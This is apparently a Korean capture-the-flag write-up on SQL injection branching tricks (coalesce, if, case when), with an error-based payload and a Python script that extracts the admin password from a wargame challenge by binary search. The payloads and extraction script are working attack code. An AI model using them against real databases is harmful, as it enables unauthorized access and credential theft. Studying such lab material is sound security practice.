coalesce를 비롯한 sql injection에서 "분기"를 나누는 법에 대해서 정리

  1. coalesce

    coalesce(val1, val2, val3 ...)와 같이 있을 때, val1부터 순차적으로 탐색하여 NULL이 아닌 값을 반환한다. coalesce(NULL, NULL, 3) = 3이다.

    sql injection에서는 다음과 같이 사용할 수 있다.

    select * from test where coalesce(id='admin' or null, null);
    select * from test where 1=coalesce(no=1 or null, 2)
    

    1번 쿼리에서 id가 admin일 때에는 1(true)가 반환되고, 그렇지 않을 때에는 null이 반환된다.

    2번 쿼리에서 no=1일 때에는 1(true)가 반환되고, 그렇지 않을 때에는 2가 반환된다.

  2. if문 활용

    if(1=1, 1, 2) 등 기본적으로 사용.

  3. case when

    case 'a' when 'a' then 1 [else 0] end
    case when 'a'='a' then 1 [else 0] end
    

    위의 두 구문은 형식만 약간 다를 뿐, 정확하게 똑같은 구문이다. [else 0]은 생략 가능하며, 생략했을 때는 NULL 값이 반환된다.

    앞 뒤로 다양하게 이용 가능하다.


문제 풀이

pw=''||id='admin' and coalesce(length(pw)=8 or null,(select 1 union select 2)) -- g

error based로 풀어내야 하므로 위와 같이 설계.

length(pw)=8이 참이면, 1(true)가 반환된다.

거짓인 경우에는, (select 1 union select 2)가 반환되는데, 이 과정에서 에러가 발생한다.


소스코드

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# Disable flag warning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

import math

headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
 'Accept-Encoding': 'gzip, deflate, br',
 'Accept-Language': 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7',
 'Cache-Control': 'max-age=0',
 'Connection': 'keep-alive',
 'Cookie': 'PHPSESSID=1i3vikvi0qn4nhb5uvrqshk53d',
 'Host': 'los.rubiya.kr',
 'Sec-Fetch-Dest': 'document',
 'Sec-Fetch-Mode': 'navigate',
 'Sec-Fetch-Site': 'none',
 'Sec-Fetch-User': '?1',
 'Upgrade-Insecure-Requests': '1',
 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 '
               '(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'}

password = ""
for i in range(1,9):
    _min=0x20
    _max=0x80

    # binary search
    while _min != _max:
        query = f"'||id='admin' and coalesce(ord(substring(pw,{i},1))>{math.ceil((_min+_max)/2)-1} or null,(select 1 union select 2)) -- g"
        url = f"<https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw={query}>"

        res = requests.get(url=url, headers= headers, verify=False)
        print("narrow!", _min, _max)
        if len(res.text) > 10 : # true
            _min = math.ceil((_min+_max)/2)
        else:
            _max = math.ceil((_min+_max)/2) - 1

    # answer!
    password += chr(_min)
    print("find!", i, chr(_min))

print(password.lower())